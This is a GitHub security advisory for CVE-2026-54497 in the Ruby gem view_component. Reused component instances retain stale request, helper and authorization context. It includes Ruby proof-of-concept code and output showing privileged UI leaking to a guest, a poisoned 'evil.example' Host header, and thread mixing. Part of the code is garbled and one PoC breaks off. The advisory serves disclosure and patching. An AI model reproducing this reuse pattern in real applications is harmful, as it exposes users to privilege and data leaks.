GitHub Advisoryadvisory · RubyGems
GHSA-9h85-g7w3-rh49 ViewComponent: Reused Component Instances Retain Stale Render Context
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54497
- Ecosystem
- RubyGems
- Packages
- view_component
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-362, CWE-488, CWE-668
- Reviewed
- 2026-07-15
Affected packages
• RubyGems view_component: >= 4.0.0, < 4.12.0 → fixed in 4.12.0
Description
Reused Component Instances Retain Stale Render Context
Summary
`ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render.
This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.
Severity
The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern.
If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:
Alternative CVSS: 8.2
Alternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N`
Affected Code
Validated against:
• Repository commit: `eea79445`
• Ruby: `3.4.9`
Relevant locations:
• `lib/view_component/base.rb`
• `render_in`
• `controller`
• `helpers`
• `__vc_request`
• `lib/view_component/slot.rb`
• `Slot#to_s`
• `lib/view_component/slotable.rb`
• slot storage in `@__vc_set_slots`
• `lib/view_component/collection.rb`
• child component memoization and spacer rendering
Key retained state:
```ruby
@view_context = view_context
self.__vc_original_view_context ||= view_context
@lookup_context ||= view_context.lookup_context
@view_flow ||= view_context.view_flow
@__vc_requested_details ||= @lookup_context.vc_requested_details
```
```ruby
@__vc_controller ||= view_context.controller
@__vc_helpers ||= __vc_original_view_context || controller.view_context
@__vc_request ||= controller.request if controller.respond_to?(:request)
```
Slot children also inherit the parent original view context:
```ruby
@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context
```
Collections memoize child component instances:
```ruby
return @components if defined? @components
```
Root Cause
Component instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering.
There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.
Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.
Proof of Concept
The following PoC demonstrates four independent effects:
• stale authorization gate
• stale Host/request data in generated absolute URLs
• stale slot child context
• cross-thread context mixing
Run from the repository root:
```ruby
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
class ReusePocController host)))
c.set_response!(ActionDispatch::Response.new)
c.view_context
end
admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example")
guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example")
panel = AdminPanelComponent.new
puts "auth_admin_first=#{panel.render_in(admin_vc)}"
puts "auth_guest_reused=#{panel.render_in(guest_vc)}"
puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}"
url = UrlOnlyComponent.new
puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}"
puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
parent = SlotParentComponent.new
puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}"
puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}"
puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}"
race = RaceComponent.new
q = Queue.new
t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] }
t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] }
t1.join
t2.join
results = 2.times.map { q.pop }.to_h
puts "race_admin_thread=#{results[:admin]}"
puts "race_guest_thread=#{results[:guest]}"
```
Observed output:
```text
auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_fresh=""
host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42
slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin
slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest
slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest
race_admin_thread=admin@/guest
race_guest_thread=admin@/guest
```
Authorization-Impact PoC
The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.
The component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link.
```ruby
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"
module SharedComponentRegistry
def self.admin_toolbar
@admin_toolbar ||= AdminToolbarComponent.new
end
def self.reset!
remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)
end
end
User = Struct.new(:id, :role, keyword_init: true) do
def admin? = role == :admin
end
class AppController < ActionController::Base
helper_method :current_user, :admin?
attr_accessor :c…
Related
Alias · CVE (1)
- CVE-2026-54497 view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. vulnerability
References
- https://github.com/ViewComponent/view_component/security/advisories/GHSA-9h85-g7w3-rh49 web
- https://github.com/ViewComponent/view_component/commit/7b05073be28037f7d5ff141e9dd42f3cf47956a4 web
- https://github.com/ViewComponent/view_component package
- https://github.com/ViewComponent/view_component/releases/tag/v4.12.0 web
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54497.yml web
- https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54497 web